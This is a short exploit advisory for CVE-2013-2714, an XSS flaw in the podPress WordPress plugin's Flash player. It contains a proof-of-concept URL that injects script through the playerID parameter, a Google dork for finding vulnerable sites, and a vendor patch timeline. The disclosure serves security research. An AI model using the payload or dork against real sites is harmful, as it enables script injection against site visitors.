WordPress podPress Plugin XSS in SWF

[hip () insight-labs org]

# Exploit Title: WordPress podPress Plugin XSS in SWF
# Release Date: 28/03/13
# Author: hip [Insight-Labs]
# Contact: hip () insight-labs org | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/podpress.8.8.10.17.zip
# Tested on: XPsp3
# Affected version: 8.8.10.13 before
# Google Dork: inurl:/wp-content/plugins/podpress/
# REF:CVE-2013-2714
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# Introduction:
podPress adds a lot of features designed to make WordPress the ideal platform for hosting a podcast.
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# XSS – Proof Of Concept:
vulnerable path:
/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf
vulnerabile parameter:playerID
POC:
/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}//
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Patch:
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– Vendor was notified on the 25/02/2013
– Vendor released version 8.8.10.17 on 19/03/2013 Fixed the bug
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